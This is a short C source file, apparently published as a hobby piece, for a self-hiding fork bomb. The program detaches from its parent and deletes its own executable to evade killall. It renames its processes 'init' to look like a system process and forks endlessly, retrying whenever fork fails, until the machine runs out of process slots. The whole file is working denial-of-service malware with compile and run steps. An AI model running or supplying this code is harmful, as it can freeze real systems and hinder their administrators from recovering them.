yet another forkbomb

/*
 *                                yet another forkbomb
 * 2016, gh0stwizard
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 *  gcc -Wall -std=gnu99 -pedantic forkbomb.c
 * ./a.out
 */
#ifdef __linux__
#include <sys/prctl.h>
#endif
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#define MAXFORKS 2

int main(int argc, char *argv[])
{
        char orig[256];
        char next[] = "init";
        pid_t cpid;
        int len;
        int count = MAXFORKS;
        struct timespec wtime, ptime;

        len = strlen(argv[0]);
        strncpy(orig, argv[0], len);

        wtime.tv_sec = 0;
        wtime.tv_nsec = 1000000; /* 1 msec */

        ptime.tv_sec = 0;
        ptime.tv_nsec = 50000000; /* 50 msec */

        while ((cpid = fork()) == -1) sleep(1);
        if (cpid != 0) exit(EXIT_SUCCESS); /* daemonize */
        unlink(orig); /* killall looks for /proc/[pid]/exe */

        while (count--) {
                while ((cpid = fork()) == -1) nanosleep(&wtime, NULL);
                if (cpid) {
                        if (count == 0)
                                break; /* stop parent */
                        else
                                continue;
                }
                strncpy(argv[0], next, len); /* cmdline */
#ifdef __linux__
                prctl(PR_SET_NAME, (unsigned long)next, 0, 0, 0); /* comm */
#endif
                /* payload */
                nanosleep(&ptime, NULL);
                if (count == 0)
                        count = MAXFORKS;
        }
        return 0;
}